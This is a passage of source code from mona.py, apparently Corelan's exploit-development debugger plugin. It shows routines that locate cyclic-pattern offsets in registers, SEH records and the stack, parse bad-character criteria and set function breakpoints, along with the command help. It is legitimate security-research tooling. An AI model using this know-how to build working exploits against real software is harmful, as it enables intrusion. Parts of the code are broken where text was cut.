0,args = {}): + """ + Finds all references to cyclic pattern in memory + + Arguments: + None + + Return: + Dictonary with results of the search operation + """ + results = {} + regs = dbg.getRegs() + criteria = {} + criteria["accesslevel"] = "*" + + tofile = "" + + global silent + oldsilent = silent + silent=True + + fullpattern = createPattern(50000,args) + factor = 1 + + #are we attached to an application ? + if dbg.getDebuggedPid() == 0: + dbg.log("*** Attach to an application, and trigger a crash with a cyclic pattern ! ***",highlight=1) + return {} + + #1. find beging of cyclic pattern in memory ? + + patbegin = createPattern(6,args) + + silent=oldsilent + pattypes = ["normal","unicode","lower","upper"] + if not silent: + dbg.log("[+] Looking for cyclic pattern in memory") + tofile += "[+] Looking for cyclic pattern in memory\n" + for pattype in pattypes: + dbg.updateLog() + searchPattern = [] + #create search pattern + factor = 1 + if pattype == "normal": + searchPattern.append([patbegin, patbegin]) + if pattype == "unicode": + patbegin_unicode = "" + factor = 0.5 + for pbyte in patbegin: + patbegin_unicode += pbyte + "\x00" + searchPattern.append([patbegin_unicode, patbegin_unicode]) + if pattype == "lower": + searchPattern.append([patbegin.lower(), patbegin.lower()]) + if pattype == "upper": + searchPattern.append([patbegin.upper(), patbegin.upper()]) + #search + pointers = searchInRange(searchPattern,0,TOP_USERLAND,criteria) + memory={} + if len(pointers) > 0: + for ptrtypes in pointers: + for ptr in pointers[ptrtypes]: + #get size + thissize = getPatternLength(ptr,pattype,args) + if thissize > 0: + if not silent: + dbg.log(" Cyclic pattern (%s) found at 0x%s (length %d bytes)" % (pattype,toHex(ptr),thissize)) + tofile += " Cyclic pattern (%s) found at 0x%s (length %d bytes)\n" % (pattype,toHex(ptr),thissize) + if not ptr in memory: + memory[ptr] = ([thissize,pattype]) + #get distance from ESP + if "ESP" in regs: + thisesp = regs["ESP"] + thisptr = MnPointer(ptr) + if thisptr.isOnStack(): + if ptr > thisesp: + if not silent: + dbg.log(" - Stack pivot between %d & %d bytes needed to land in this pattern" % (ptr-thisesp,ptr-thisesp+thissize)) + tofile += " - Stack pivot between %d & %d bytes needed to land in this pattern\n" % (ptr-thisesp,ptr-thisesp+thissize) + if not "memory" in results: + results["memory"] = memory + + #2. registers overwritten ? + if not silent: + dbg.log("[+] Examining registers") + registers = {} + registers_to = {} + for reg in regs: + for pattype in pattypes: + dbg.updateLog() + regpattern = fullpattern + hexpat = toHex(regs[reg]) + hexpatr = hexpat + factor = 1 + hexpat = toAscii(hexpat[6]+hexpat[7])+toAscii(hexpat[4]+hexpat[5])+toAscii(hexpat[2]+hexpat[3])+toAscii(hexpat[0]+hexpat[1]) + hexpatrev = toAscii(hexpatr[0]+hexpatr[1])+toAscii(hexpatr[2]+hexpatr[3])+toAscii(hexpatr[4]+hexpatr[5])+toAscii(hexpatr[6]+hexpatr[7]) + if pattype == "upper": + regpattern = regpattern.upper() + if pattype == "lower": + regpattern = regpattern.lower() + if pattype == "unicode": + regpattern = toUnicode(regpattern) + factor = 0.5 + offset = regpattern.find(hexpat) + if offset > -1: + if pattype == "unicode": + offset = offset * factor + if not silent: + dbg.log(" %s contains %s pattern : 0x%s (offset %d)" % (reg,pattype,toHex(regs[reg]),offset)) + tofile += " %s contains %s pattern : 0x%s (offset %d)\n" % (reg,pattype,toHex(regs[reg]),offset) + if not reg in registers: + registers[reg] = ([regs[reg],offset,pattype]) + else: + # maybe it's reversed ? + offset = regpattern.find(hexpatrev) + if offset > -1: + if pattype == "unicode": + offset = offset * factor + if not silent: + dbg.log(" %s contains %s pattern (reversed) : 0x%s (offset %d)" % (reg,pattype,toHex(regs[reg]),offset)) + tofile += " %s contains %s pattern (reversed) : 0x%s (offset %d)\n" % (reg,pattype,toHex(regs[reg]),offset) + if not reg in registers: + registers[reg] = ([regs[reg],offset,pattype]) + + # maybe register points into cyclic pattern + mempat = "" + try: + mempat = dbg.readMemory(regs[reg],4) + except: + pass + + if mempat != "": + if pattype == "normal": + regpattern = fullpattern + if pattype == "upper": + regpattern = fullpattern.upper() + if pattype == "lower": + regpattern = fullpattern.lower() + if pattype == "unicode": + mempat = dbg.readMemory(regs[reg],8) + mempat = mempat.replace('\x00','') + + offset = regpattern.find(mempat) + + if offset > -1: + thissize = getPatternLength(regs[reg],pattype,args) + if thissize > 0: + if not silent: + dbg.log(" %s (0x%s) points at offset %d in %s pattern (length %d)" % (reg,toHex(regs[reg]),offset,pattype,thissize)) + tofile += " %s (0x%s) points at offset %d in %s pattern (length %d)\n" % (reg,toHex(regs[reg]),offset,pattype,thissize) + if not reg in registers_to: + registers_to[reg] = ([regs[reg],offset,thissize,pattype]) + else: + registers_to[reg] = ([regs[reg],offset,thissize,pattype]) + else: + # reversed ? + offset = regpattern.find(mempat[::-1]) + if offset > -1: + thissize = getPatternLength(regs[reg],pattype,args) + if thissize > 0: + if not silent: + dbg.log(" %s (0x%s) points at offset %d in (reversed) %s pattern (length %d)" % (reg,toHex(regs[reg]),offset,pattype,thissize)) + tofile += " %s (0x%s) points at offset %d in (reversed) %s pattern (length %d)\n" % (reg,toHex(regs[reg]),offset,pattype,thissize) + if not reg in registers_to: + registers_to[reg] = ([regs[reg],offset,thissize,pattype]) + else: + registers_to[reg] = ([regs[reg],offset,thissize,pattype]) + + + if not "registers" in results: + results["registers"] = registers + if not "registers_to" in results: + results["registers_to"] = registers_to + + #3. SEH record overwritten ? + seh = {} + if not silent: + dbg.log("[+] Examining SEH chain") + tofile += "[+] Examining SEH chain\r\n" + thissehchain=dbg.getSehChain() + + for chainentry in thissehchain: + address = chainentry[0] + sehandler = chainentry[1] + nseh = 0 + nsehvalue = 0 + nsehascii = "" + try: + nsehascii = dbg.readMemory(address,4) + nsehvalue = struct.unpack(' -1: + thepointer = MnPointer(chainentry[0]) + if thepointer.isOnStack(): + thissize = getPatternLength(address+4,pattype) + if thissize > 0: + thissize = (thissize - takeout)/divide + if not silent: + dbg.log(" SEH record (nseh field) at 0x%s overwritten with %s pattern : 0x%s (offset %d), followed by %d bytes of cyclic data after the handler" % (toHex(chainentry[0]),pattype,nseh,offset,thissize)) + tofile += " SEH record (nseh field) at 0x%s overwritten with %s pattern : 0x%s (offset %d), followed by %d bytes of cyclic data after the handler\n" % (toHex(chainentry[0]),pattype,nseh,offset,thissize) + if not chainentry[0]+4 in seh: + seh[chainentry[0]+4] = ([chainentry[1],offset,pattype,thissize]) + + + if not "seh" in results: + results["seh"] = seh + + stack = {} + stackcontains = {} + + #4. walking stack + if "ESP" in regs: + curresp = regs["ESP"] + if not silent: + if distance == 0: + extratxt = "(entire stack)" + else: + extratxt = "(+- "+str(distance)+" bytes)" + dbg.log("[+] Examining stack %s - looking for cyclic pattern" % extratxt) + tofile += "[+] Examining stack %s - looking for cyclic pattern\n" % extratxt + + # get stack this address belongs to + stacks = getStacks() + thisstackbase = 0 + thisstacktop = 0 + if distance < 1: + for tstack in stacks: + if (stacks[tstack][0] < curresp) and (curresp < stacks[tstack][1]): + thisstackbase = stacks[tstack][0] + thisstacktop = stacks[tstack][1] + else: + thisstackbase = curresp - distance + thisstacktop = curresp + distance + 8 + stackcounter = thisstackbase + sign="" + + + if not silent: + dbg.log(" Walking stack from 0x%s to 0x%s (0x%s bytes)" % (toHex(stackcounter),toHex(thisstacktop-4),toHex(thisstacktop-4-stackcounter))) + tofile += " Walking stack from 0x%s to 0x%s (0x%s bytes)\n" % (toHex(stackcounter),toHex(thisstacktop-4),toHex(thisstacktop-4-stackcounter)) + + # stack contains part of a cyclic pattern ? + while stackcounter < thisstacktop-4: + espoffset = stackcounter - curresp + stepsize = 4 + dbg.updateLog() + if espoffset > -1: + sign="+" + else: + sign="-" + + cont = dbg.readMemory(stackcounter,4) + + if len(cont) == 4: + contat = cont + if contat <> "": + + for pattype in pattypes: + dbg.updateLog() + regpattern = fullpattern + + hexpat = contat + + if pattype == "upper": + regpattern = regpattern.upper() + if pattype == "lower": + regpattern = regpattern.lower() + if pattype == "unicode": + hexpat1 = dbg.readMemory(stackcounter,4) + hexpat2 = dbg.readMemory(stackcounter+4,4) + hexpat1 = hexpat1.replace('\x00','') + hexpat2 = hexpat2.replace('\x00','') + if hexpat1 == "" or hexpat2 == "": + #no unicode + hexpat = "" + break + else: + hexpat = hexpat1 + hexpat2 + + if len(hexpat) == 4: + + offset = regpattern.find(hexpat) + + currptr = stackcounter + + if offset > -1: + thissize = getPatternLength(currptr,pattype) + offsetvalue = int(str(espoffset).replace("-","")) + if thissize > 0: + stepsize = thissize + if thissize/4*4 != thissize: + stepsize = (thissize/4*4) + 4 + # align stack again + if not silent: + espoff = 0 + espsign = "+" + if ((stackcounter + thissize) >= curresp): + espoff = (stackcounter + thissize) - curresp + else: + espoff = curresp - (stackcounter + thissize) + espsign = "-" + dbg.log(" 0x%s : Contains %s cyclic pattern at ESP%s0x%s (%s%s) : offset %d, length %d (-> 0x%s : ESP%s0x%s)" % (toHex(stackcounter),pattype,sign,rmLeading(toHex(offsetvalue),"0"),sign,offsetvalue,offset,thissize,toHex(stackcounter+thissize-1),espsign,rmLeading(toHex(espoff),"0"))) + tofile += " 0x%s : Contains %s cyclic pattern at ESP%s0x%s (%s%s) : offset %d, length %d (-> 0x%s : ESP%s0x%s)\n" % (toHex(stackcounter),pattype,sign,rmLeading(toHex(offsetvalue),"0"),sign,offsetvalue,offset,thissize,toHex(stackcounter+thissize-1),espsign,rmLeading(toHex(espoff),"0")) + if not currptr in stackcontains: + stackcontains[currptr] = ([offsetvalue,sign,offset,thissize,pattype]) + else: + #if we are close to ESP, change stepsize to 1 + if offsetvalue <= 256: + stepsize = 1 + stackcounter += stepsize + + + + # stack has pointer into cyclic pattern ? + if not silent: + if distance == 0: + extratxt = "(entire stack)" + else: + extratxt = "(+- "+str(distance)+" bytes)" + dbg.log("[+] Examining stack %s - looking for pointers to cyclic pattern" % extratxt) + tofile += "[+] Examining stack %s - looking for pointers to cyclic pattern\n" % extratxt + # get stack this address belongs to + stacks = getStacks() + thisstackbase = 0 + thisstacktop = 0 + if distance < 1: + for tstack in stacks: + if (stacks[tstack][0] < curresp) and (curresp < stacks[tstack][1]): + thisstackbase = stacks[tstack][0] + thisstacktop = stacks[tstack][1] + else: + thisstackbase = curresp - distance + thisstacktop = curresp + distance + 8 + stackcounter = thisstackbase + sign="" + + if not silent: + dbg.log(" Walking stack from 0x%s to 0x%s (0x%s bytes)" % (toHex(stackcounter),toHex(thisstacktop-4),toHex(thisstacktop-4-stackcounter))) + tofile += " Walking stack from 0x%s to 0x%s (0x%s bytes)\n" % (toHex(stackcounter),toHex(thisstacktop-4),toHex(thisstacktop-4-stackcounter)) + while stackcounter < thisstacktop-4: + espoffset = stackcounter - curresp + + dbg.updateLog() + if espoffset > -1: + sign="+" + else: + sign="-" + + cont = dbg.readMemory(stackcounter,4) + + if len(cont) == 4: + cval="" + for sbytes in cont: + tval = hex(ord(sbytes)).replace("0x","") + if len(tval) < 2: + tval="0"+tval + cval = tval+cval + try: + contat = dbg.readMemory(hexStrToInt(cval),4) + except: + contat = "" + + if contat <> "": + for pattype in pattypes: + dbg.updateLog() + regpattern = fullpattern + + hexpat = contat + + if pattype == "upper": + regpattern = regpattern.upper() + if pattype == "lower": + regpattern = regpattern.lower() + if pattype == "unicode": + hexpat1 = dbg.readMemory(stackcounter,4) + hexpat2 = dbg.readMemory(stackcounter+4,4) + hexpat1 = hexpat1.replace('\x00','') + hexpat2 = hexpat2.replace('\x00','') + if hexpat1 == "" or hexpat2 == "": + #no unicode + hexpat = "" + break + else: + hexpat = hexpat1 + hexpat2 + + if len(hexpat) == 4: + offset = regpattern.find(hexpat) + currptr = hexStrToInt(cval) + + if offset > -1: + thissize = getPatternLength(currptr,pattype) + if thissize > 0: + offsetvalue = int(str(espoffset).replace("-","")) + if not silent: + dbg.log(" 0x%s : Pointer into %s cyclic pattern at ESP%s0x%s (%s%s) : 0x%s : offset %d, length %d" % (toHex(stackcounter),pattype,sign,rmLeading(toHex(offsetvalue),"0"),sign,offsetvalue,toHex(currptr),offset,thissize)) + tofile += " 0x%s : Pointer into %s cyclic pattern at ESP%s0x%s (%s%s) : 0x%s : offset %d, length %d\n" % (toHex(stackcounter),pattype,sign,rmLeading(toHex(offsetvalue),"0"),sign,offsetvalue,toHex(currptr),offset,thissize) + if not currptr in stack: + stack[currptr] = ([offsetvalue,sign,offset,thissize,pattype]) + + stackcounter += 4 + else: + dbg.log("** Are you connected to an application ?",highlight=1) + + if not "stack" in results: + results["stack"] = stack + if not "stackcontains" in results: + results["stackcontains"] = stack + + if tofile != "": + objfindmspfile = MnLog("findmsp.txt") + findmspfile = objfindmspfile.reset() + objfindmspfile.write(tofile,findmspfile) + return results + + +#-----------------------------------------------------------------------# +# convert arguments to criteria +#-----------------------------------------------------------------------# + +def args2criteria(args,modulecriteria,criteria): + + thisversion,thisrevision = getVersionInfo(inspect.stack()[0][1]) + thisversion = thisversion.replace("'","") + dbg.logLines("\n---------- Mona command started on %s (v%s, rev %s) ----------" % (datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S"),thisversion,thisrevision)) + dbg.log("[+] Processing arguments and criteria") + global ptr_to_get + + # meets access level ? + criteria["accesslevel"] = "X" + if "x" in args : + if not args["x"].upper() in ["*","R","RW","RX","RWX","W","WX","X"]: + dbg.log("invalid access level : %s" % args["x"], highlight=1) + criteria["accesslevel"] = "" + else: + criteria["accesslevel"] = args["x"].upper() + + dbg.log(" - Pointer access level : %s" % criteria["accesslevel"]) + + # query OS modules ? + if "o" in args and args["o"]: + modulecriteria["os"] = False + dbg.log(" - Ignoring OS modules") + + # allow nulls ? + if "n" in args and args["n"]: + criteria["nonull"] = True + dbg.log(" - Ignoring pointers that have null bytes") + + # override list of modules to query ? + if "m" in args: + if type(args["m"]).__name__.lower() <> "bool": + modulecriteria["modules"] = args["m"] + dbg.log(" - Only querying modules %s" % args["m"]) + + # limit nr of pointers to search ? + if "p" in args: + if str(args["p"]).lower() != "true": + ptr_to_get = int(args["p"].strip()) + if ptr_to_get > 0: + dbg.log(" - Maximum nr of pointers to return : %d" % ptr_to_get) + + # only want to see specific type of pointers ? + if "cp" in args: + ptrcriteria = args["cp"].split(",") + for ptrcrit in ptrcriteria: + ptrcrit=ptrcrit.strip("'") + ptrcrit=ptrcrit.strip('"').lower().strip() + criteria[ptrcrit] = True + dbg.log(" - Pointer criteria : %s" % ptrcriteria) + + if "cbp" in args: + dbg.log(" * Trying to use '-cbp' instead of '-cpb'?", highlight=True) + if not "cpb" in args: + dbg.log(" * I'll try to fix your typo myself, but please pay attention to the syntax next time", highlight=True) + args["cpb"] = args["cbp"] + + if "cpb" in args: + badchars = args["cpb"] + badchars = badchars.replace("'","") + badchars = badchars.replace('"',"") + badchars = badchars.replace("\\x","") + # see if we need to expand .. + bpos = 0 + newbadchars = "" + while bpos < len(badchars): + curchar = badchars[bpos]+badchars[bpos+1] + if curchar == "..": + pos = bpos + if pos > 1 and pos <= len(badchars)-4: + # get byte before and after .. + bytebefore = badchars[pos-2] + badchars[pos-1] + byteafter = badchars[pos+2] + badchars[pos+3] + bbefore = int(bytebefore,16) + bafter = int(byteafter,16) + insertbytes = "" + bbefore += 1 + while bbefore < bafter: + insertbytes += "%02x" % bbefore + bbefore += 1 + newbadchars += insertbytes + else: + newbadchars += curchar + bpos += 2 + badchars = newbadchars + cnt = 0 + strb = "" + while cnt < len(badchars): + strb=strb+binascii.a2b_hex(badchars[cnt]+badchars[cnt+1]) + cnt=cnt+2 + criteria["badchars"] = strb + dbg.log(" - Bad char filter will be applied to pointers : %s " % args["cpb"]) + + if "cm" in args: + modcriteria = args["cm"].split(",") + for modcrit in modcriteria: + modcrit=modcrit.strip("'") + modcrit=modcrit.strip('"').lower().strip() + #each criterium has 1 or 2 parts : criteria=value + modcritparts = modcrit.split("=") + try: + if len(modcritparts) < 2: + # set to True, no value given + modulecriteria[modcritparts[0].strip()] = True + else: + # read the value + modulecriteria[modcritparts[0].strip()] = (modcritparts[1].strip() == "true") + except: + continue + if (inspect.stack()[1][3] == "procShowMODULES"): + modcriteria = args["cm"].split(",") + for modcrit in modcriteria: + modcrit=modcrit.strip("'") + modcrit=modcrit.strip('"').lower().strip() + if modcrit.startswith("+"): + modulecriteria[modcrit]=True + else: + modulecriteria[modcrit]=False + dbg.log(" - Module criteria : %s" % modcriteria) + + return modulecriteria,criteria + + +#manage breakpoint on selected exported/imported functions from selected modules +def doManageBpOnFunc(modulecriteria,criteria,funcfilter,mode="add",type="export"): + """ + Sets a breakpoint on selected exported/imported functions from selected modules + + Arguments : + modulecriteria - Dictionary + funcfilter - comma separated string indicating functions to set bp on + must contains "*" to select all functions + mode - "add" to create bp's, "del" to remove bp's + + Returns : nothing + """ + + type = type.lower() + + namecrit = funcfilter.split(",") + + if mode == "add" or mode == "del" or mode == "list": + if not silent: + dbg.log("[+] Enumerating %sed functions" % type) + modulestosearch = getModulesToQuery(modulecriteria) + + bpfuncs = {} + + for thismodule in modulestosearch: + if not silent: + dbg.log(" Querying module %s" % thismodule) + # get all + themod = dbg.getModule(thismodule) + tmod = MnModule(thismodule) + shortname = tmod.getShortName() + syms = themod.getSymbols() + # get funcs + funcs = {} + if type == "export": + funcs = tmod.getEAT() + else: + funcs = tmod.getIAT() + if not silent: + dbg.log(" Total nr of %sed functions : %d" % (type,len(funcs))) + for func in funcs: + if meetsCriteria(MnPointer(func), criteria): + funcname = funcs[func].lower() + setbp = False + if "*" in namecrit: + setbp = True + else: + for crit in namecrit: + crit = crit.lower() + tcrit = crit.replace("*","") + if (crit.startswith("*") and crit.endswith("*")) or (crit.find("*") == -1): + if funcname.find(tcrit) > -1: + setbp = True + elif crit.startswith("*"): + if funcname.endswith(tcrit): + setbp = True + elif crit.endswith("*"): + if funcname.startswith(tcrit): + setbp = True + + if setbp: + if type == "export": + if not func in bpfuncs: + bpfuncs[func] = funcs[func] + else: + ptr = 0 + try: + #read pointer of imported function + ptr=struct.unpack(' 0: + if not ptr in bpfuncs: + bpfuncs[ptr] = funcs[func] + if __DEBUGGERAPP__ == "WinDBG": + # let's do a few searches + for crit in namecrit: + if crit.find("*") == -1: + crit = "*" + crit + "*" + modsearch = "x %s!%s" % (shortname,crit) + output = dbg.nativeCommand(modsearch) + outputlines = output.split("\n") + for line in outputlines: + if line.replace(" ","") != "": + linefields = line.split(" ") + if len(linefields) > 1: + ptr = hexStrToInt(linefields[0]) + cnt = 1 + while cnt < len(linefields)-1: + if linefields[cnt] != "": + funcname = linefields[cnt] + break + cnt += 1 + if not ptr in bpfuncs: + bpfuncs[ptr] = funcname + + if not silent: + dbg.log("[+] Total nr of breakpoints to process : %d" % len(bpfuncs)) + if len(bpfuncs) > 0: + for funcptr in bpfuncs: + if mode == "add": + dbg.log("Set bp at 0x%s (%s in %s)" % (toHex(funcptr),bpfuncs[funcptr],MnPointer(funcptr).belongsTo())) + try: + dbg.setBreakpoint(funcptr) + except: + dbg.log("Failed setting bp at 0x%s" % toHex(funcptr)) + elif mode == "del": + dbg.log("Remove bp at 0x%s (%s in %s)" % (toHex(funcptr),bpfuncs[funcptr],MnPointer(funcptr).belongsTo())) + try: + dbg.deleteBreakpoint(funcptr) + except: + dbg.log("Skipped removal of bp at 0x%s" % toHex(funcptr)) + elif mode == "list": + dbg.log("Match found at 0x%s (%s in %s)" % (toHex(funcptr),bpfuncs[funcptr],MnPointer(funcptr).belongsTo())) + + return + +#-----------------------------------------------------------------------# +# main +#-----------------------------------------------------------------------# + +def main(args): + dbg.createLogWindow() + global currentArgs + currentArgs = copy.copy(args) + try: + starttime = datetime.datetime.now() + ptr_counter = 0 + + # initialize list of commands + commands = {} + + # ----- HELP ----- # + def getBanner(): + banners = {} + bannertext = "" + bannertext += " |------------------------------------------------------------------|\n" + bannertext += " | __ __ |\n" + bannertext += " | _________ ________ / /___ _____ / /____ ____ _____ ___ |\n" + bannertext += " | / ___/ __ \/ ___/ _ \/ / __ `/ __ \ / __/ _ \/ __ `/ __ `__ \ |\n" + bannertext += " | / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |\n" + bannertext += " | \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/ |\n" + bannertext += " | |\n" + bannertext += " | https://www.corelan.be | https://www.corelan-training.com |\n" + bannertext += " |------------------------------------------------------------------|\n" + banners[0] = bannertext + + bannertext = "" + bannertext += " |------------------------------------------------------------------|\n" + bannertext += " | _ __ ___ ___ _ __ __ _ _ __ _ _ |\n" + bannertext += " | | '_ ` _ \ / _ \ | '_ \ / _` | | '_ \ | | | | |\n" + bannertext += " | | | | | | || (_) || | | || (_| | _ | |_) || |_| | |\n" + bannertext += " | |_| |_| |_| \___/ |_| |_| \__,_|(_)| .__/ \__, | |\n" + bannertext += " | |_| |___/ |\n" + bannertext += " | |\n" + bannertext += " |------------------------------------------------------------------|\n" + banners[1] = bannertext + + bannertext = "" + bannertext += " |------------------------------------------------------------------|\n" + bannertext += " | |\n" + bannertext += " | _____ ___ ____ ____ ____ _ |\n" + bannertext += " | / __ `__ \/ __ \/ __ \/ __ `/ https://www.corelan.be |\n" + bannertext += " | / / / / / / /_/ / / / / /_/ / https://www.corelan-training.com|\n" + bannertext += " | /_/ /_/ /_/\____/_/ /_/\__,_/ #corelan (Freenode IRC) |\n" + bannertext += " | |\n" + bannertext += " |------------------------------------------------------------------|\n" + banners[2] = bannertext + + bannertext = "" + bannertext += "\n .##.....##..#######..##....##....###........########..##....##\n" + bannertext += " .###...###.##.....##.###...##...##.##.......##.....##..##..##.\n" + bannertext += " .####.####.##.....##.####..##..##...##......##.....##...####..\n" + bannertext += " .##.###.##.##.....##.##.##.##.##.....##.....########.....##...\n" + bannertext += " .##.....##.##.....##.##..####.#########.....##...........##...\n" + bannertext += " .##.....##.##.....##.##...###.##.....##.###.##...........##...\n" + bannertext += " .##.....##..#######..##....##.##.....##.###.##...........##...\n\n" + banners[3] = bannertext + + + # pick random banner + bannerlist = [] + for i in range (0, len(banners)): + bannerlist.append(i) + + random.shuffle(bannerlist) + return banners[bannerlist[0]] + + + def procHelp(args): + dbg.log(" 'mona' - Exploit Development Swiss Army Knife - %s (%sbit)" % (__DEBUGGERAPP__,str(arch))) + dbg.log(" Plugin version : %s r%s" % (__VERSION__,__REV__)) + if __DEBUGGERAPP__ == "WinDBG": + pykdversion = dbg.getPyKDVersionNr() + dbg.log(" PyKD version %s" % pykdversion) + dbg.log(" Written by Corelan - https://www.corelan.be") + dbg.log(" Project page : https://github.com/corelan/mona") + dbg.logLines(getBanner(),highlight=1) + dbg.log("Global options :") + dbg.log("----------------") + dbg.log("You can use one or more of the following global options on any command that will perform") + dbg.log("a search in one or more modules, returning a list of pointers :") + dbg.log(" -n : Skip modules that start with a null byte. If this is too broad, use") + dbg.log(" option -cp nonull instead") + dbg.log(" -o : Ignore OS modules") + dbg.log(" -p : Stop search after pointers.") + dbg.log(" -m : only query the given modules. Be sure what you are doing !") + dbg.log(" You can specify multiple modules (comma separated)") + dbg.log(" Tip : you can use -m * to include all modules. All other module criteria will be ignored") + dbg.log(" Other wildcards : *blah.dll = ends with blah.dll, blah* = starts with blah,") + dbg.log(" blah or *blah* = contains blah") + dbg.log(" -cm : Apply some additional criteria to the modules to query.") + dbg.log(" You can use one or more of the following criteria :") + dbg.log(" aslr,safeseh,rebase,nx,os") + dbg.log(" You can enable or disable a certain criterium by setting it to true or false") + dbg.log(" Example : -cm aslr=true,safeseh=false") + dbg.log(" Suppose you want to search for p/p/r in aslr enabled modules, you could call") + dbg.log(" !mona seh -cm aslr") + dbg.log(" -cp : Apply some criteria to the pointers to return") + dbg.log(" Available options are :") + dbg.log(" unicode,ascii,asciiprint,upper,lower,uppernum,lowernum,numeric,alphanum,nonull,startswithnull,unicoderev") + dbg.log(" Note : Multiple criteria will be evaluated using 'AND', except if you are looking for unicode + one crit") + dbg.log(" -cpb '\\x00\\x01' : Provide list with bad chars, applies to pointers") + dbg.log(" You can use .. to indicate a range of bytes (in between 2 bad chars)") + dbg.log(" -x : Specify desired access level of the returning pointers. If not specified,") + dbg.log(" only executable pointers will be returned.") + dbg.log(" Access levels can be one of the following values : R,W,X,RW,RX,WX,RWX or *") + + if not args: + args = [] + if len(args) > 1: + thiscmd = args[1].lower().strip() + if thiscmd in commands: + dbg.log("") + dbg.log("Usage of command '%s' :" % thiscmd) + dbg.log("%s" % ("-" * (22 + len(thiscmd)))) + dbg.logLines(commands[thiscmd].usage) + dbg.log("") + else: + aliasfound = False + for cmd in commands: + if commands[cmd].alias == thiscmd: + dbg.log("") + dbg.log("Usage of command '%s' :" % thiscmd) + dbg.log("%s" % ("-" * (22 + len(thiscmd)))) + dbg.logLines(commands[cmd].usage) + dbg.log("") + aliasfound = True + if not aliasfound: + dbg.logLines("\nCommand %s does not exist. Run !mona to get a list of available commands\n" % thiscmd,highlight=1) + else: + dbg.logLines("\nUsage :") + dbg.logLines("-------\n") + dbg.log(" !mona ") + dbg.logLines("\nAvailable commands and parameters :\n") + + items = commands.items() + items.sort(key = itemgetter(0)) + for item in items: + if commands[item[0]].usage <> "": + aliastxt = "" + if commands[item[0]].alias != "": + aliastxt = " / " + commands[item[0]].alias + dbg.logLines("%s | %s" % (item[0] + aliastxt + (" " * (20 - len(item[0]+aliastxt))), commands[item[0]].description)) + dbg.log("") + dbg.log("Want more info about a given command ? Run !mona help ",highlight=1) + dbg.log("") + + commands["help"] = MnCommand("help", "show help", "!mona help [command]",procHelp) + + # ----- Config file management ----- # + + def procConfig(args): + #did we specify -get, -set or -add? + showerror = False + if not "set" in args and not "get" in args and not "add" in args: + showerror = True + + if "set" in args: + if type(args["set"]).__name__.lower() == "bool": + showerror = True + else: + #count nr of words + params = args["set"].split(" ") + if len(params) < 2: + showerror = True + if "add" in args: + if type(args["add"]).__name__.lower() == "bool": + showerror = True + else: + #count nr of words + params = args["add"].split(" ") + if len(params) < 2: + showerror = True + if "get" in args: + if type(args["get"]).__name__.lower() == "bool": + showerror = True + else: + #count nr of words + params = args["get"].split(" ") + if len(params) < 1: + showerror = True + if showerror: + dbg.log("Usage :") + dbg.logLines(configUsage,highlight=1) + return + else: + if "get" in args: + dbg.log("Reading value from configuration file") + monaConfig = MnConfig() + thevalue = monaConfig.get(args["get"]) + dbg.log("Parameter %s = %s" % (args["get"],thevalue)) + + if "set" in args: + dbg.log("Writing value to configuration file") + monaConfig = MnConfig() + value = args["set"].split(" ") + configparam = value[0].strip() + dbg.log("Old value of parameter %s = %s" % (configparam,monaConfig.get(configparam))) + configvalue = args["set"][0+len(configparam):len(args["set"])] + monaConfig.set(configparam,configvalue) + dbg.log("New value of parameter %s = %s" % (configparam,configvalue)) + + if "add" in args: + dbg.log("Writing value to configuration file") + monaConfig = MnConfig() + value = args["add"].split(" ") + configparam = value[0].strip() + dbg.log("Old value of parameter %s = %s" % (configparam,monaConfig.get(configparam))) + configvalue = monaConfig.get(configparam).strip() + "," + args["add"][0+len(configparam):len(args["add"])].strip() + monaConfig.set(configparam,configvalue) + dbg.log("New value of parameter %s = %s" % (configparam,configvalue)) + + # ----- Jump to register ----- # + + def procFindJ(args): + return procFindJMP(args) + + def procFindJMP(args): + #default criteria + modulecriteria={} + modulecriteria["aslr"] = False + modulecriteria["rebase"] = False + + if (inspect.stack()[1][3] == "procFindJ"): + dbg.log(" ** Note : command 'j' has been replaced with 'jmp'. Now launching 'jmp' instead...",highlight=1) + + criteria={} + all_opcodes={} + + global ptr_to_get + ptr_to_get = -1 + + distancestr = "" + mindistance = 0 + maxdistance = 0 + + #did user specify -r ? + showerror = False + if "r" in args: + if type(args["r"]).__name__.lower() == "bool": + showerror = True + else: + #valid register ? + thisreg = args["r"].upper().strip() + validregs = dbglib.Registers32BitsOrder + if not thisreg in validregs: + showerror = True + else: + showerror = True + + if "distance" in args: + if type(args["distance"]).__name__.lower() == "bool": + showerror = True + else: + distancestr = args["distance"] + distanceparts = distancestr.split(",") + for parts in distanceparts: + valueparts = parts.split("=") + if len(valueparts) > 1: + if valueparts[0].lower() == "min": + try: + mindistance = int(valueparts[1]) + except: + mindistance = 0 + if valueparts[0].lower() == "max": + try: + maxdistance = int(valueparts[1]) + except: + maxdistance = 0 + + if maxdistance < mindistance: + tmp = maxdistance + maxdistance = mindistance + mindistance = tmp + + criteria["mindistance"] = mindistance + criteria["maxdistance"] = maxdistance + + + if showerror: + dbg.log("Usage :") + dbg.logLines(jmpUsage,highlight=1) + return + else: + modulecriteria,criteria = args2criteria(args,modulecriteria,criteria) + # go for it ! + all_opcodes=findJMP(modulecriteria,criteria,args["r"].lower().strip()) + + # write to log + logfile = MnLog("jmp.txt") + thislog = logfile.reset() + processResults(all_opcodes,logfile,thislog) + + # ----- Exception Handler Overwrites ----- # + + + def procFindSEH(args): + #default criteria + modulecriteria={} + modulecriteria["safeseh"] = False + modulecriteria["aslr"] = False + modulecriteria["rebase"] = False + + criteria = {} + specialcases = {} + all_opcodes = {} + + global ptr_to_get + ptr_to_get = -1 + + #what is the caller function (backwards compatibility with pvefindaddr) + + modulecriteria,criteria = args2criteria(args,modulecriteria,criteria) + + if "rop" in args: + criteria["rop"] = True + + if "all" in args: + criteria["all"] = True + specialcases["maponly"] = True + else: + criteria["all"] = False + specialcases["maponly"] = False + + # go for it ! + all_opcodes = findSEH(modulecriteria,criteria) + #report findings to log + logfile = MnLog("seh.txt") + thislog = logfile.reset() + processResults(all_opcodes,logfile,thislog,specialcases) + + + # ----- MODULES ------ # + def procShowMODULES(args): + modulecriteria={} + criteria={} + + modulecriteria,criteria = args2criteria(args,modulecriteria,criteria) + modulestosearch = getModulesToQuery(modulecriteria) + showModuleTable("",modulestosearch) + + # ----- ROP ----- # + def procFindROPFUNC(args): + #default criteria + modulecriteria={} + 